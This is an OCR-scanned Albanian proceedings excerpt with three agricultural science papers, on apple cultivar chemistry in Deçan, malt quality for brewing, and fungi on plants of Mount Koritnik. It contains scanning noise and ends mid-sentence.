(kultivarét) 467. 75 5 93. 55 6. 12104 | 0. 00427 | 5. 050329
Kolonat 24. 083333 |1 24. 083333 | 1. 57579 | 0. 26484 | 6. 607891
Gabimi 76. 416666 | 5 15. 283333

Total 568. 25 11

Treguesit kimiko-teknologfiké té frutit

Kultivari Montear Gala piget i pari dhe vilet mé 10 shtator, mé pas piqget dhe vilet
kultivari Saturn (20 shtator), ndérsa kultivarét e tjeré vilen gjaté periudhés 10-20
tetor.

Analizat e treguesve kimiko-teknologjiké té frutave jané kryer nga Laboratori i
Institutit Bujgésor té Pejés. Té dhénat tregojné se ndérmjet kultivaréve ka ndryshime
né lidhje me pérmbajtjen e I&ndés sé thaté, pérmbajtjen e shegerit dhe aciditetin e
pérgjithshém, acidin askorbik. Nivelin mé té larté té léndés sé thaté e kané frutat e
kultivaréve Delicious i Arté B (16. 7%) dhe Royal Gala (16. 5%), ndérsa
pérmbajtjen mé té ulét e kané kultivarét Saturn dhe Montear Gala (14. 6%). Nivelin
mé té larté té pérmbajtjes sé sheqerit e shfagin kultivarét Saturn (12. 7%) dhe
Redfalstaff (12. 4%), ndérsa pérmbajtjen mé té ulét e kané frutat e kultivaréve
Royal Gala (11. 33%) dhe Montear Gala (11. 8%). Nivelin mé té larté té aciditetit
té pérgjithshém e shfagin kultivarét Royal Gala (0. 395 mg/100 gr fruta té freskét),
Jonagored (0. 355 mg/100 gr fruta té freskét) dhe Delicious i Arté kloni B (0. 314
mg/100 gr fruta té freskét), ndérsa nivelin mé té ulét e kané frutat e kultivarit Red
Falstaff (195 mg/100 gr fruta té freskét).

Pérmbajtjen mé té larté t& vitaminés C (acidit askorbik) e kané kultivarét Saturn
(210. 7 mg/kg fruta té freskét) dhe Delicious i Arté B (210 mg/kg fruta té freskét)
(Tabela 4).
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Tabela 4. Vlerat mesatare té treguesve kimik sipas kultivaréve

Kultivari Lagéshtira | Lénda e | Pérmbajtja | Aciditeti i | Acid

(%) thaté (%) e shegerit | pérgjithshém | askorbik

(%) (mg/100 gr) | (mg/kg)

Redfalstaff 84. 4 15. 6 12. 4 0. 275 195
Montear Gala | 85. 4 14. 6 11. 8 0. 280 230
Royal Gala 84. 2 16. 5 11. 33 0. 395 203. 3
Jonagored 83. 8 16. 1 12. 1 0. 355 206. 3
Saturn 85. 4 14. 6 12. 7 0. 250 210. 7
Delicious i|83. 3 16. 7 12. 33 0. 314 210
Arté B

Ndryshimet ndérmjet kultivaréve vértetohen

statistikore té variancés (Tabela 5).

statisikisht nga rezultatet e analizés

Tabela 5. Analiza e variancés pér treguesit e analizés kimike (ANOVA-test)

Burimi ]

variacionit SS af | MS Fiiog Pate F cie
Rreshtat

(kultivarét) 154, 1728 |5 | 30. 83457 | 20. 8699 | 0. 00082 | 2. 9012
Kolonat (tiparet) 180503. 7 |3 | 60167. 91 | 1697. 6 | 3. 3E-19 | 3. 2873
Error (gabimi) 531. 644 | 15| 35. 44293

Total 181189. 6 | 23

Krahasimi i vlerave té treguesve statistikoré té variancés F-j,, dhe P-ue, tregon se
ndérmjet kultivaréve té studiuar ka ndryshime té vértetuara statistikisht, pasi vlerat
(Finog=20. 8699) > (F-crir = 2. 9012) dhe (P-value = 0. 00082)<(o.= 0. 05)
Analiza statistikore e korelacionit vérteton faktin se ndérmjet treguesve kimiké té
frutit ka lidhje dhe ndérvarési reciproke (shkalla e lidhjes ndérmjet karaktereve
vlerésohet nga vlera absolute qé merr koeficienti i korelacionit) (Tabela 6).
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Tabela 6. Analiza e korelacionit pér treguesit kimiké té frutit

Pérmb. e | Ac.
Lagéshtira Lénda e thaté | shegerit pérgjithshém | Vit. C
Lagéshtira 1
Lénda e thaté | 0.94682152 |1
Pérmb. e
shegerit 0. 096712108 | 0. 33279427 1
Ac.
pérgjithshém | 0.59598255 | 0. 765534453 | 0. 76647028 |1
Vitamina C 0. 491200817 | 0. 52554071 0.17163714 | 0.265000444 |1

Té dhénat tregojné se ndérmjet karaktereve té tilla, si pérmbajtja e lagéshtirés dhe
pérmbajtja e Iéndés sé thaté né frut ka lidhje té forté korelative (r = 0. 95), ndérsa
ndérmjet pérmbajtjes sé 1éndés sé thaté, pérmbajtjes sé sheqerit dhe pérmbajtjes sé
aciditetit t& pérgjithshém ka njé lidhje korelative mesatare deri té forté (r = 0. 765
dhe r = 0.766). Ndérmjet tipareve té jera ka lidhje korelative té dobét, fakt gé
déshmohet nga vlera e ulét e koeficientit té korelacionit.

Pérfundime

Nga analiza e treguesve klimatiké té rajonit agro-ekologjik té Deganit rezulton se
klima nuk éshté faktor kufizues pér pérhapjen dhe kultivimin e gjashté kultivaréve té
pérfshiré né kété studim, sepse treguesit e klimés sé Deqanit jané né pérputhje me
vegcorité biologjike té kultivaréve té mollés.

Pérparési né strukturat varietore duhet té kené kultivarét Jonagored, Delicious i Arté
kloni B dhe Redfalstaff jané kultivarét gé kané peshé mesatare dhe pamje té& miré té
frutave, pérmbajtje té miré té sheqerit, aciditetit té& pérgjithshém dhe acidit askorbik
(Vit. C) etj. , dhe kérkohen mé shumé nga tregu e konsumatori.

Né pemétoret me destinacion prodhimin pér pérpunim industrial, si 1éng frutash,
komposto, etj, rekomandohet kultivari Jonagored, pér shkak té peshés sé madhe té
frutit (>180 gr), pérmbajtjes sé larté té€ Iéndés sé thaté (>16%), aciditetit té
pérgjithshém (0. 355 mg/100 gr fruta té freskét) dhe vitaminés C (206. 3 mg/kg
fruta té freskét).

Pérmbajtjen mé té larté té aciditetit t€ pérgjithshém dhe vitaminés C e arrijné
kultivarét Royal Gala, Delicious i Arté kloni B dhe Saturn, pér kété arsye duhet té
rekomandohen pér mbjellje né pemétoret e reja me destinacion frutat konsum té
freskeét.
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“INDUSTRIA E BIRRES NEN “DIKTATIN”E CILESISE SE MALTIT”
Kristaq Tenegexhi — Gjergji Mero — Edmond Spahiu
Universiteti ©“ Fan.S.Noli”

Pérmbledhje

Birra konsiderohej pije alkoolike e buté, me pérmbajtje mesatare té alkoolit etilik né
véllim 3-5%.Nuk pérjashtohej mundésia e prodhimit té birrave me pérmbajtje edhe
mbi 5% apo nén 3% alkool etilik né véllim.Eshté pije me konsum té larté pér frymé
té popullsisg, kuné disa vende té Evropés shkon mbi 80 litra/frymé né vit.Lénda e
paré e prodhimit té saj éshté malti i cili fabrikohet nga pérpunimi i kokrrave cerale
gé pérmbajné karbohidrate. Teknologjia e pérpunimit t& maltit né Shqipéri nuk éshté
e vjetér né kohé. Ajo aplikohej me teknologji té prapambetur ““ tip dysheme” ku dhe
humbjet e prodhimit ishin mjaft t¢ médha. Procesi i maltimit sot, mbéshtetet mbi
teknika mjaft t€ pérparuara t€ tipit “pneumatik”, ku humbjet e prodhimit nuk i
kalojné vlerat e 8%.Tipat e maltit jané t& shumta.Vendin kryesor e kap malti: Lager,
Pale-Ale, Aledhe Standard.Pér té prodhuar malt cilésor, duhet té€ pérpunohen
kontigjente farore cerealesh, dhe veganérisht elb distik, me pérmbajtje té ulét té
proteinés né kokrra, té uniformizuara.Kéto kontigjente prodhojné malt mbi 80%
ekstrakt.

Fjalé celés : malt, proces maltimi, malt lager, pale, standard, ekstrekt etj.

Abstract

The bier considered light alcoholic drink containing moderately
ethylicalcohol, about 3-5% in volume. But there are other kinds of bier containing
morethan 5% in volume ethylicalcohol. It’s highlyconsumed among population
which in some regions is more than 85 I/person pro year.The raw material is malt
which comes out from cereal grains containing carbohydrates.The technologyof malt
production in our country stared in late 60 ° in which technology was so back ward
“floor type” during production process adhered more than 12%.Nowadays malt
production is performed in advanced technology so called “pneum technology and
losses during production process reduced up to 6-8%. There are some malt types,
but the main one is “Loger”, “Pole”, “Ale”, etc.

In order to produce highly qualitative malt types is important to process low protein
containing cereal grains which yields extract over 80%.

Key words: malt, malting process, malt logeu, malt pole, standard, extract etc.

I.Hyrje

Pér lashtésiné dhe cilésiné e birrés si pije alkoolike e “puté”, éshté shkruar
kaheré. Mjafton té pérmendim pohimet e filozofit Diodoricili shkruante se
egjiptianét 4-5 shekuj para Krishtit, pérgatisnin prej kokrrave té elbit pije e cila
zévendésonte verén pér shijen dhe vlerat ushqyese.Por edhe kinezét dhe egjiptianét e
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lashté, sipas té dhénave té dokumentuara, ishin té afté t& prodhonin njé lloj birre té
vecanté.Lénda e paré e prodhimit té birrés éshté malti.Cdo drithé gé pérmban
karbohidrate ka vetiné gé pas njé séré procesesh me natyré biokimike, té
transformohen né malt. Tradicionalisht, malti éshté prodhuar né vendin toné pas vitit
1960, me teknologji té vjetéruar, ku humbjet arrinin deri né 12%.

Sot, malterité jané ndértuar mbi parime moderne, té tipit “pneumatik” ku
humbjet gjaté kétij procesi zbresin né 6-8%.Né procesin teknologjik pér té zvogéluar
humbjet dhe pér té garantuar malt cilésor, duhet gé procesi i njomijes té zgjasé 2-3
dité, ai i mbirjes 5-6 dité, ndérsa i tharjes jo mé shumé se dy dité.Cdo luhatje nga kjo
“recepturé” prodhon malt difektoz dhe pér rrjedhojé birré me difekte né cilésité
organo-leptike, higjenike, dhe teknologjike.

a Cilat jané llojet e maltit gé kérkon industria e birrés?

Maltet jané prodhuar nga njé mori farash cerealesh.Por maltet e prodhuara
prej elbit jané mé elitare. Midis tre specieve téelbit :distik, tetrastik dhe heksastik,
maltet e prodhuara prej elbit distik jané ekselenté.Kjo lidhet me njé séré arsyesh té
natyrés fizike, fiziologjike dhe kimike té kokrrés.

Maltet e prodhuara prej elbit klasifikohen né kétokategori :

a Malte té pasuré né enzima

a Malte té bardhé

a Malte té zbehté

a Malte té koloruaré, té tilla si . malti Vienez, ai i Munifiut, malti
caramel, malte té ziry.

Sot, industria birré-pérpunuese ka rritur kérkesat pér cilésiné e maltit.Maltet
cilésore lehtésojné proceset teknologjike, japin birré ekselente dhe kané koeficent té
larté ekonomik.

Tabelala e méposhtme paraget disa nga parametrat pércaktues sé cilésisé sé
maltit sipas llojeve té tij.

N ipi i Maltit
r PALE- ALE SATANDA MALT
Parametrat ALE R LAEER
MALT

1  Ekstrakti né ujé té nxehté 307 296-305 301-306 307

2  Lagéshtiané % 1,7-3 18-35 16-21 2,4

3 Ngjyra EBC (njési) 4-5 6-7 5-7 2-3

4 Ekstrakti né ujé té ftohté 18-20 17-19 18-20 18-19

5 Forca diastatike 35 33-48 39-47 63

6 Azotitotal % 1,35-150  1,44- 1,46-1,70 1,60-
1,65 1,70

7 Azoti i tretshém total % 0,49-054  0,50- 0,55-0,65 0,66-
0,69 0,69
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Midis parametrave gé pasqyrohen né tabelé, pérmbajtja e ekstraktit éshté mé
e réndésishmja. Sa mé e larté té jeté pérmbajtja e kétij parametri, ag méi lehtééshté
procesi teknologjik, birra éshté cilésore dhe prodhimi i saj ( birrés) pér njé njési
malti éshtéi larté.Késhtu éshté provuar se rritja vetém 1% e ekstraktit né njé ton
malt, shton prodhimin e birrés né 60-65 litra (Brigs 1998) .Fabrikat e birrés né
vendin toné kané kapacitete prodhuese nga 50 mijé hektolitra deri né mbi 100 mijé
hi/vit.Njé fabriké birre qé ka kapacitetin vjetor prej 200 mijé hektolitra birré,
pérpunon mesatarisht rreth 3600 toné malt dhe shtesa e prodhimit té birrés pér ¢do
njé pérqind ekstrakt mbi standardin, do té jeté 2100 hektolitra.

Maltet PALE-ALE konsiderohen si mé té pérshtatshmit pér té prodhuar
birré né fuci.Birra e prodhuar prej kétyre malteve ruan kthjelltésing, ngjyrén, aromén
dhe shkumbén.Kujdes té veganté duhet t’i kushtojmé modifikimit t€ maltit.Maltet e
pamodifikuara japin ekstrakte té varfra, me probleme né prodhimin e birrés.

Sot, industria e birrés pérpunon me pérparési dhe maltet “Kristal” dhe ato
“Karamel”. K&to malte jané té vecanta sepse nékontrast me maltet e tjeré, duan njé
pérgatitie té kujdesshme, duke filluar nga njomja e deri te koordinimi i
temperaturave té tharjes.Ato jané té shijshme, aromatike, deri né cilési
hedonike. Temperaturat pér kéto malte rriten tej kufirit 60-70°celcius, duke shkaktuar
karamelizimin e shegernave dhe formimin e substancave melanoidale.

I1. Analizat e maltit
Teky produkt analizat kryhen pér disa géllime;

Pér t’u dhéné informacione fabrikave t€ birrés, té cilat ato i shfrytézojn€ né
procesin teknologjik.

Pér té garantuar njé vlerésim té produktit, mbéshtetur mbi njé legjislacion géi
jep mundési té shpejté marketingut.

Pér t&¢ mos krijuar produkte stoge dhe pér té garantuar shitje té shpejté té
produktit final.

I11. Vlerésimi sensioriel i maltit

Analizatsensiorieleté maltit, kané gené metoda origjinale té aplikuara qysh
prej vitit 1830. Kokrrat e plota té elbit, jogelgore, me cipa té buta, té uniformizuara,
té pangjyrosura ( jo té kugéremta) prodhojné malt cilésor. Gjithashtu né shumé
vende me industri té pérparuar né prodhimin e birrés, ishte sinkronizuar mendimi se,
kokrrat e té njéjtit varitet elbi prodhojné malt mé cilésor se ai qé prodhohet nga
kontigjente farore té pérziera. Pérzierja e variteteve nuk garanton uniformizim té
kokrrave.Vlerésimi sensoriel i malteve fillon me prekjen e kokrrés, teksturén e tyre,
mé pas me aromén, shijen etj.

Qelquriteti i kokrrave té& maltit éshté njé tregues parésor né pércaktimin e
cilésiséi cili vlerésohet me aparatin “ Diafanoskop’.Kujdes duhet béré me mbrojtjen
e léndés sé paré prej infeksioneve mikrobiale.Kontaminimet e tyre zvogélojné
koeficientin e kthimit té elbit né malt, ndérkohé dhe malti ul cilésiné.
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1V. Vlerésimi mekanik i modifikimit té maltit

Pér arsye nga mé té ndryshmet apo dhe pér dyshime né saktési té testit “bite
test”, jané propozuar metoda pér vlerésimin e modifikimit fizik té
maltit. Thérrmueshméria éshté njé karakteristiké cilésore e maltit.Pranohet gé me
rritjen e nivelit té modifikimit, kemi rritje té thérrmueshmériseé.

Njé aspekt i réndésishém i vlerésimit té modifikimit fizik té maltit éshté
shkrifshméria, e cila matet me ané té aparatit “ Frasr Bilimeter” , mostra pér kété
analizé duhet té jeté jo mé pak se 50 gr dhe me pérmbajtje lagéshtie 3,5-5%.Né
pérgjithési te shumica e malteve, kur rritet thérrmueshméria, rritet dhe fibracioni i
qullit, ndérkohé viskoziteti né 70°C, ul pérmbajtjen e B glukoneve né malt.Ulja e
pérmbajtjes sé késaj substance né malt ndikon pozitivisht né procesin teknologjik té
prodhimit té birrés, duke shtuar gartésinég, ruajtjen e gazit dhe aromén.

Jo pa vleré né garantimin e cilésisé sé maltit té pérfunduar, &shté dhe ruajtja
e lagéshtisé sé tij. Né ¢farédo situate qofté njé fabriké malterie, prodhimi i maltit me
lagéshti té pakté, bén gé produkti téruajé miré parametrat organo-leptike dhe
kimiko-teknologjike pér njé kohésa mé té gjaté. Niveli méi pélqyeshém i lagéshtisé
né malt éshté ai midis 1.>- 4%.

V.Vlerésimi i ekstraktit né malt

Né ekstrakt pérfshihen té gjitha Iéndét gé pérmban drithi cereal duke
meénjanuar lagéshtiné (ujin).Kur analizohet cilésia e njé malti, mendohet gé ekstrakti
té jeté parametri méi réndésishém né procesin e fabrikimit té tij pér birré.Parametrat
e tjeré,si :lagéshtia, ngjyra, forca diastatike etj., t& jené té njé réndésie mé té
spostuar.

Ekstrakti né malt éshté totalisht i varur nga cilésia e kokrrés sé elbit. Maltet
cilésore jané ato me pérmbajtie mbi 80% ekstrakt, e géu korrespondojné
kontigjenteve té elbit me nivel protein nén 10,5%.Sot, shkenca e pérmirésimit
gjenetik té biméve ka krijuar kultivaré elbi distik si “ Bitrana” me pérmbajtje nén
10% proteine dhe uniformitet té larté t& kokrrés né sitén 2.2 m/m.

VI1.Vlerésimi i ngjyrés né malt

Ngjyrat ose tonet né 1éndén e paré, jané pércaktuar identikisht si pérbérésit e
shegernave.Ky pércaktim nuk éshté dhe aq i lehté sepse kjo lidhet me spektrin e
absorbimit.Me kalimin e kohés metodat e pércaktimit té ngjyrés kané avancuar deri
te pérdorimi i sistemit “Analitika EBC” kjo metodé ka adaptuar njé matés
spektrofotometrik té intesitetit t& ngjyrés.

VI1. Vlerésimi pér mikrobet dhe metabolitet mikrobiale

Maltet gjithnjé e mé shumé jané testuar pér té vlerésuar popullatat mikobiale
t& tyre duke pérdorur njé séré metodash mbi kulturén pérgatitore dhe selective 2.

’Briggs, E., 1998.
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Nga ngarkesa mikrobiale kontigjentet e malteve kontaminohen nga myket,
vecanérisht prej fusariumeve, e gé mé pas shkaktojné derdhje té padéshiruara té
birrés né enét gé ato e servirin birrén.Kérpudhat jané té afta té prodhojné njé seri
tepér diverse té mykotoksinave dhe disa prej tyre mund té formohen gjaté procesit té
maltitmit.Né pamundési té zbulimit té tyre né malt, ato pasqyrojné efektin negative
né birrén e prodhuar e cila pasohet me turbullime, mos ruajtjien e ngjyrés, deri né
cregullime té aparatit intestinal te konsumatori.Fabrikat e maltit nuk duhet kurrsei té
pérpunojné kontigjente elbi t& kontaminuar mikrobiologjikisht apo dhe mé keq, té
démtuar nga insekte apo brejtés.

VIII. Malt importi apo malt vendi

Birra né vendin toné konsumohet né até masésa lejon niveli ekonomik,
kuptohet diku mé shumé diku mé pak, kjo dhe né varési té tradités, apo dhe té
faktorit klimaterik. Sipas statistikave té grumbulluara, rajonet e nxehta té vendit toné
konsumojné mé tepér birré pér ¢do banor se né rajonet e ftohta. Péraférsisht , né vit,
te ne konsumohen rreth 1 milioné hektolitra birré, prej sé cilés 50% importohet dhe
diferenca prodhohet né vend.Né pérputhje me procesin teknologjik pér kété sasi
birre, nevoiten 9000 ton malt.Pér kété sasi malti, fabrikat e maltimit duhet té
pérpunojné aférsisht 12 mijé toné elb.Nga eksperimentet e kryera né laboratorin e
agroushgimit prané Fakultetit t¢ Bujgésis€ né€ Universitetin “ Fan.S. Noli”, ka
rezultuar se pér ¢do 1.3 kg elb distik prodhohen 1 kg malt.Ky koeficent i pérket
species pranverore té elbit, ku cipat e kokrrés jané mé té buta. Midis species
vjeshtore té elbit distik dhe asaj pranverore, nuk ka diferenca té vértetuara statikisht
né lidhje me sasiné e maltit t& prodhuar pér njé njési elbi distik.Ndryshimi midis dy
specieve té elbit distik (vjeshtore dhe pranverore) géndron né pérmbajtjen e
ekstraktit.

Késhtu, prej species pranverore Terova dhe Parthos ekstrakti né malt arrin
né vlerén 82%, ndérsa nga specia vjeshtore e elbit distik dhe konkretisht prej
kultivaréve A/fadhe Igri, niveli i ekstraktit nuk i kalon 79°- 80%.

Nése do t’i kthehemi pérllogaritjes pér nevojat qé kané fabrikat e maltit pér
kontigjentet e elbi distik, me bindje pohojmé gé né vendin toné ekzistojné té gjitha
resurset pér t€ prodhuar kété sasi té elbi distik. Para vitit 1990, né vendin toné
kultivoheshin me elb distikrreth 3500 ha me njé rendiment mesatar prej 2.5 ton/ha
prodhim kokérr.Sot, jané né kultivim genotipe elbi distik me kapacitet prodhimi mbi
4.5 ton/ha prodhim kokérr, dhe nivel proteine nén 12%.

Rajoni i Korgés i ka té gjitha resurset pér té kultivuar elb distik duke
mbuluar nevojat pér industriné e maltit. Ngritja e fabrikés sé maltit né rajonin e
Korgés do té jeté shtysé pér té nxitur kultivimin e elbit distik me destinacion
prodhimin e maltit.Ky aktivitet ekonomiko-bujgésor do té plotésonte skemén
-fermer- specialist- fabriké malti — fabriké birre — konsumator.
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Pérfundime

Rajoni i Korgés ka kushte optimale pér kultivimin e genotipeve té elbit distik me
destinacion prodhimin e maltit

Kontigjentet farore té elbit distik me nivel proteine deri 12 % garantojné malt
cilésor pér industriné birrépérpunuese.

Ekstrakti éshté parametri méi réndésishém i cilésisé sé maltit me ndikime té
fugishme pér prodhimin e birrés.

Sa mé e larté pérmbajtja e ekstraktit né malt ag méi lartééshté koeficienti i
prodhimit té birrés dhe méi lehté procesi i fabrikimit té birrés

Lagéshtia né malt éshté indikatori vlefshém pér zgjatjen e kohés sé ruajtjes dhe
garantimin e cilésisé sé maltit.
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STUDIM | MARREDHENIEVE BIME-MIKROORGANIZMA NE ZONA
BIMORE MALORE SHQIPTARE - MALI KORITNIK

Nereida Dalanaj, Donika Prifti, Lulzim Shuke, Valmir Cela, Rozana Troja
Fakulteti i Shkencave Natyrore, Universiteti i Tiranés

Pérmbledhje

Ky studim konsiston né njé vlerésim té ngarkesés sé pérgjithshme mikrobiologjike
dhe né vecanti té ngarkesés mykore gé ofron bimésia e malit Koritnik né njé lartési
mbi 1800 m mbi nivelin e detit. [4] Mikroorganizmat gé zhvillohen né habitate
bimore luajné rol té réndésishém né agrikulturé, né fushén e sigurisé ushgimore si
edhe japin njé kontribut té konsiderueshém né ekuilibrin mjedisor.

Marrédhénia bimé-mikroorganizma &shté e njohur sepse veté bimét ofrojné njé
diversitet habitatesh pér zhvillimin e mikroorganizmave, gé jané : filosfera ( zona
ajrore e bimés), rizosfera (zona ku ndikon sistemi i rrénjéve) dhe endosfera (sistemi i
brendshém i transportit) [2], [3].

Karakteristika gé pérfagéson kété punim i referohet mundésisé sé izolimit dhe
identifikimit t& mikroorganizmave psikrofilé (kampionimi i kryer né muajin maj né
tempertauré ambientale prej 10-12 °C), né vazhdimési té studimeve paralele gé jané
kryer prej rreth 5 vitesh tashmé nga grupi i punés sé Departamentit t& Kimisé
Industriale, né bimésiné e malit t& Dajtit dhe nga ku jané izoluar mikroorganizma
me karakteristika té réndésishme.

Fjalé kyge . habitate bimore-malore, mikroorganizma psikrofile e psikrotolerante,
myaqe psikrofil, izolim.

Abstract

This study presents a microbiological evaluation and also an evaluation of
psychrophilic moulds grown in the plants of Koritnik mountain in the attitude of
1800 m above the sea level. Plant-associated microorganisms play essential roles in
agricultural and food safety, and contribute to the environmental equilibrium.

Interactions of epiphytes, rhizophytes or endophytes may be detrimental or
beneficial for either the microorganism or the plant.

Microorganisms interact with plants because plants offer a wide diversity of habitats
including the phyllosphere (aerial plant part), the rhizosphere (zone of influence of
the root system), and the endosphere (internal transport system). [2], [3]

The sampeling process is done in May 2011, in 10-12 °C, which is the optmal range
of temperatures for psychrophilic microorganisms growth. This study follows
another one realized with the plants of Dajti mountain, from which we have already
isolated a big number of microorganisms especially yeasts with important
characteristics.

Key words: habitats, psychrophilic and psychrotolerant microorganisms,
psychrophilic moulds, isolation.
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Hyrje

Ndérveprimi i mikroorganizmave me bimét é&shté mjaft kompleks dhe
shuméformésh. Né varési té mbulimit nga bimét e sé njéjtés sipérfage, nén té njéjtat
kushte té jashtme klimaterike, pérbérja e mikroflorés ndryshon vazhdimisht [5].
Bimét pérbéjné njé faktor shumé té réndésishém ekologjik, i cili ndikon né ményré
té drejtpérdrejté né seleksionimin e specieve té ndryshme té baktereve, majave,
myqgeve si edhe té popullatave té tjera gé zhvillohen né kéto habitate. Bimésia e
zonave malore me lartési té konsiderueshme nga niveli i detit, éshté né fokusin e
studimeve aktuale dhe ngarkesa mikrobiologjike gé bimét e zonave malore ofrojné,
éshté tashmé objekt i disa studimeve té vazhdueshme nga grupi i punés né kété
fushé. Eshté evidentuar nga studimet e deritanishme né fushén e mikrobiologjisé sé
biméve té malit té Dajtit ( studim i kryer né vazhdimési prej rreth 5 vitesh tashmé),
gé mikroflora gé bimét e zonave malore ofrojné, paraget mjaft interes, duke
konsideruar né ményré té vecant® majaté gé rriten né kéto habitate né kushte té
temperaturave té uléta [9].

Ky studim i kryer pér heré té paré né zona malore bimore me lartési mbi 1800 m mbi
nivelin e detit (mali Koritnik gejndet né verilindje té Shqipérisé dhe né jug té
Kosovés) [4], béhet né vazhdimési té studimit té mikroorganizmave psikrofile dhe
psikrotolerante té zhvilluar si endemiké ose té shtuar né bimésiné e zonave me
lartési té konsiderueshme. Pér kété géllim ekspedita u realizua né njé periudhé
relativisht té ftohté (temperatura né zonén e marrjes sé mostave - rreth 10- 12 °C).
Né té ardhmen, ky studim mund té shérbejé si studim plotésues dhe krahasues
referuar mikroflorés sé& bimésisé sé zonave malore pér pérftimin e
mikroorganizmave me réndési industriale dhe gjithashtu né shéndetin e njeriut (nga
bimésia e malit té Dajtit éshté béré i mundur izolimi i disa kulturave té majave té
réndésishme, vecanérisht atyre té pigmentuara).

Materiale dhe metoda

Pér realizimin e eksperimeteve, u pérzgjodhén bimé pérfagésuese karakteristike té
zonés sé malit Koritnik (rrobulli éshté njé prej tyre) dhe kampionatura iu nénshtrua
trajtimit paraprak (grimcimi né kushté sterile i pjeséve anatomike té biméve né
studim), me géllim vlerésimin e ngarkesave té pérgjithshme té mikroroganizmave gé
ato pérmbajné, vecanérisht ngarksén mykore gé ato ofrojné.

Bimét e pérzgjedhura né malin Koritnik nga grupi i punés sé Departamentit té
Biologjisé, jané bimé karateristike té zonés, autoktone shqiptare dhe pjesérisht té
njohura prej nesh, duke gené se pérbéjné bimésiné e zonave té larta.

Metodologjia e eksperimenteve u hartua bazuar ne provat klasike dhe té rinovuara
té vlerésimit mikrobiologjik, si mé poshté: [1]

Hartimi i punés eksperimentale u bé duke patur si pikésynim manipulimin e shpejté
dhe korrekt té biméve pér té reflektuar né rezultatin pérfundimtar vetém ngarkesat
pérfagésuese mikrobiale té bimés.

66



U respektuan temperaturat e uléta pér té mundésuar intervalin e temperaturave
optimale pér zhvillimin e mikroorganizmave psikrofile, objekt i studimit toné.

U pérdorén ujéra sterile, pér kalimin fillestar té€ pjeséve anatomike té grimcuara té
biméve né studim.

U pérdor metoda e hollimeve limite, né pjesé té biméve té marra né konsideraté dhe
fillimisht u punua mé hollimin e paré dhe mé pas né disa bimé me hollimin e treté,
duke gené se nga pérvoja e méparéshme, hollimi i paré né té shumtén e rasteve ofron
njé numér shumé té larté mikroorganizmash.

U pérdor metoda mikrobiologjike e kultivimit me derdhje, ku u pérdor terreni PDA
(Patate-Dekstorzé-Agar). Krahas kétij terreni té pérgjithshém, u punua me terrene
selektivé pér izolimin e mikroorganizmave specifike, si Sabouraud pér majaté dhe
Capek pér myqget.

U bé kontrolli i pjatave deri né numérimin e mikroflorés sé pérgjithshme, pjesé gé
jepet e detajuar né vijim (pas 7 ditésh).

U izoluan nga pjatat e numérit té pérgjithshém té mikroorganizmave kulturat
mykore, té cilat u identifikuan bazuar né karakteristikat e kolonive.

U vendosén pjatat me kulturat e izoluara pas kultivimit né pajisjen ftohése (né
kushtet e temperaturés 4-6 °C). Kjo pajisje éshté e péshtatshme pér zhvillimin e
mikroorganizmave psikrofile dhe temperatura monitorohet népérmjet njé datalogger-
i, i cili regjistron ¢do 10-minuta temperaturén e pajisjes dhe mundéson té€ kémi njé
tablo té ploté té profileve kohé-temperaturé pér t€ mbajtur nén kontroll temperaturén
optimale gjaté zhvillimit dhe ruajtjes sé mikroorganizmave psikrofile.

Rezultate dhe diskutime
Ngarkesa e pergjithshme mikrobiologjike

Rezultatet e marra nga ky punim eksperimental referuar ngarkesés sé pérgjithshme
gé bimésia e malit Koritnik ofron dhe veganérisht ngarkesave mykore, paragiten né
tabelat dhe grafikét né material. Né tablén 1. paragiten emrat e biméve té marra né
studim, bimési tipike e zonave shgiptare né lartési t&¢ médha. Gjithashtu né kété
tabele jepet edhe numri i pérgjithshém i mesatarizuar i mikroorganizmave gé secili
grup bimor ofron.

U realizua numérimi i kolonive té mikroorganizmave né pjaté, qofté né té gjithén,
por edhe né ndarje né sektoré (né rastin e pjatave gé ofruan njé numér relativisht té
larté ngarkesash) té tre grupeve té mikroorganizmave: baktere, maja dhe myqe.

Né grafikun e fig. 1 paraqgitet logaritmi i numrit té pérgjithshém té
mikroorganizmave (i zgjedhur duke gené se kemi té b&jmé mé vlera relativisht té
larta té numrit té pérgjithshém té mikroorganizmave), né bimét né studim.

Si¢ tregohet edhe né tablén 2. dhe grafikun e fig. 2. ku paragitet numri i kolonive
mykore qé bimét ofrojné, jané pikérisht likenet ata gé ofrojné njé numér mé té madh
kolonish mykore duke pérbéré njé substrat mjaft té favorshém pér zhvillimin e tyre
krahasuar me bimét e tjera té marra né konsideraté.
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Né tablén 3. paragitet njé kategorizim né gjini dhe specie e kulturave mykore té
identifikuara né bazé té karakteristikave kulturale dhe né grafikun e fig. 3. jepet
paragitja e tyre né pérgindje. Shihet gé gjinia gé dominon dhe karakterizon bimét e
pérzgjedhura té malit Koritnik éshté Penicillium tek myshget dhe likenet, e ndjekur
nga gjinia Aspergillus, me speciet pérkatése A. candiaus dhe A. terreus.

Referuar kategorizimit té gjinive dhe specieve té identifikuara mykore, u bé njé
ndarje sipas pérkatésisé sé tyre né té tri klasat e médha: Ascomycetes,
Phycomycetes dhe Funghi Imperfecti. Ky kategorizim jepet né numér kolonish né
tabelén 4. dhe né pérgindje né grafikun e fig. 4. Klasa gé mbizotéron éshté
Ascomycetes me gjinité pérkatése dhe shihet gé pjesa tjetér e kolonive mykore
ndahet pothuajse né ményré té barabarté midis Klasave Funghi Imperfecti dhe
Phycomycetes [6], [7].

Pérfundime dhe rekomandime
Ky punim eksperimental realizohet pér heré té paré, referuar mikrobiologjisé sé
biméve né zona mbi 1800 m mbi nivelin e detit.

Ky studim mund té konsiderohet vazhdimési e studimit té mikroorganizmave
psikrofile dhe psikrotolerante té zhvilluar si endemiké ose té shtuar né bimésiné e
zonave té larta dhe pér kété géllim ekspedita u realizua né njé periudhé relativisht té
ftohté (10- 12°C).

Referuar kolonive mykore, krahas numrit t& pérgjithshém, u bé edhe njé klasifikim
sipas gjinive e sipas pérkatésisé né tri klasat kryesore dhe u vu re se mbizotéron
gjinia Penicillium dne klasa Ascomycetes.

Vihet re zhvillimi i kolonive té vecanta mykore, té pahasura mé paré me origjiné nga
bimét e zonave té larta, si: Mucor hiemalis, Helmithosporium spp. Ej.

Referuar biméve té marra né studim, jané pikérisht likenet ata gé ofrojné njé numér
mé té madh kolonish mykore dhe né té njéjtén kohé, ata pérbéjné njé substrat mjaft
té favorshém pér zhvillimin e tyre, dedikuar pérmbajtjes sé ujit.

Referuar numrit mé té vogél té kolonive mykore té identifikuara rezulton gé
